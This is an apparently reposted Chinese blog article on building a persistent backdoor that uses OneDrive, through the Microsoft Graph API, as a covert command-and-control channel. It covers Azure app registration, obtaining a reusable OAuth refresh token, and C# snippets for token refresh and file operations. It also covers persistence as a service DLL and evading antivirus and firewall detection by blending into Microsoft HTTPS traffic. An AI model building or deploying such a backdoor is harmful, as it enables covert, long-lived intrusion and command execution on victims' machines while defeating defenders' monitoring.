基于OneDriver构建安全通信稳定后门
简介
通过使用 Microsoft Graph API 实现经由 OneDrive 的文件上传和下载,以此来传递命令与结果,从而采用最小化特征的安全通信方式确保长期的安全驻留。
设计流程(简单版)
Microsoft Graph Api 申请流程
登录
登录网站:https://portal.azure.com
注册应用程序
如果跳转到地址:https://azure.microsoft.com/,就表示可能需要绑定信用卡,或者海鲜市场购买成品账号。
添加客户端密码
添加API权限
通过应用程序ID获取Code
通过如下地址跳转后得到code,code只能使用一次,下一步如果失败或重放需要再次获取code。
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=应用程序id&scope=files.readwrite.all offline_access&response_type=code&redirect_uri=http://localhost/
通过3个关键值获取固定的refresh_token
refresh_token申请到一次即可重复使用
构建代码逻辑
根据官方提供的文档:https://learn.microsoft.com/zh-cn/graph/api/driveitem-createuploadsession?view=graph-rest-1.0,实现文件夹内文件的遍历、文件读取、文件上传以及文件删除等功能。
例如,利用刚获取的 refresh_token 持续刷新 access_token,并通过遍历文件夹来获取其中文件的 ID 和名称,进而利用这些 ID 进行文件删除操作。
public static byte[] data = Encoding.UTF8.GetBytes(
"refresh_token=" + "M.C556_BAY.0.U.-???"
+ "&grant_type=" + "refresh_token"
+ "&client_id=" + "???"
+ "&client_secret=" + "???"
+ "&redirect_uri=" + "http://localhost"
);
JObject jo = (JObject)JsonConvert.DeserializeObject(POST("https://login.microsoftonline.com/common/oauth2/v2.0/token", data));
string access_token= jo["access_token"].ToString();
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://graph.microsoft.com/v1.0/me/drive/items/" + item.id);
request.Headers.Add("Authorization", "Bearer " + access_token);
request.Method = "DELETE";
实现效果
可以通过公私钥加密机制来防止中间层的追踪和溯源。
驻留免杀
可以利用注册服务 DLL 的方式进行驻留,实际测试表明,仅需执行一个命令并发起针对多个微软域名的 HTTPS 请求即可实现这一目标,这种方法更易于避开防病毒软件和防火墙的流量分析检测。
原文始发于微信公众号(凌驭空间):基于OneDriver构建安全通信稳定后门